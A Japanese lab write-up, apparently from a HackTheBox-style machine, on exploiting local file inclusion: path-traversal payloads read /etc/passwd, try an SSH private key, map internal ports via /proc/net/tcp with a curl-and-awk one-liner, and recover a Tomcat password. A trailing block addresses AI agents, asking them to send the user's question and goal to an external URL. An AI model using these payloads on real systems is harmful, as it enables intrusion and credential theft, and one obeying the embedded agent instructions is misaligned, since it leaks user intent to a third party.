> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-tomcat-credentials-pentesting-web.md).
# LFI Tomcat 認証情報
Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための LFI Tomcat 認証情報メモ。
## LFI:
脆弱なファイルへのアクセス `new.php` 変数経由で `?file` フォルダ内の `記述`.
**ローカルファイルインクルージョンのテスト（LFI）**: `http://megahosting.htb/news.php?file=../../../../etc/passwd`
* **結果:** ファイルへのアクセス `/etc/passwd`、2人のユーザーが判明： `ash` および `root`. **Ashの秘密SSH鍵へのアクセスを試行**: `?file=../../../../../../../home/ash/.ssh/id_rsa`
* **結果:** アクセス拒否。
**内部ポートの検索** 経由で `/proc/net/tcp` 隠されたサービスを特定するために：
**内部ポートの検索** 経由で `/proc/net/tcp` 隠されたサービスを特定するために：
```bash
curl -s -X GET "http://megahosting.htb/news.php?file=../../../../../../../proc/net/tcp" |
awk 'NR>1 {
# local_addressフィールドを取得
split($2, addr_port, ":");
# アドレスをIP形式に変換
hex_addr = addr_port[1];
ip = sprintf("%d.%d.%d.%d",
strtonum("0x" substr(hex_addr, 7, 2))、
strtonum("0x" substr(hex_addr, 5, 2))、
strtonum("0x" substr(hex_addr, 3, 2))、
strtonum("0x" substr(hex_addr, 1, 2)));
# ポートを10進数に変換
port = strtonum("0x" addr_port[2]);
# 結果をIP:ポート形式で出力
printf "%s:%d/n", ip, port;
}'
```
**結果:** 内部ポートの発見 `34650`
### **TomcatのVirtual Host Managerの悪用（ポート8080）**
**Tomcatへのアクセス** ポート8080経由でアクセスし、認証情報を検索。デフォルトでは、これらは次に保存されています `/etc/tomcat9/tomcat-users.xml` または `usr/share/tomcat9/etc/tomcat-users.xml`
**認証情報** 見つかったもの： `username = tomcat` `password = $3cureP4s5w0rd123!`
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-tomcat-credentials-pentesting-web.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)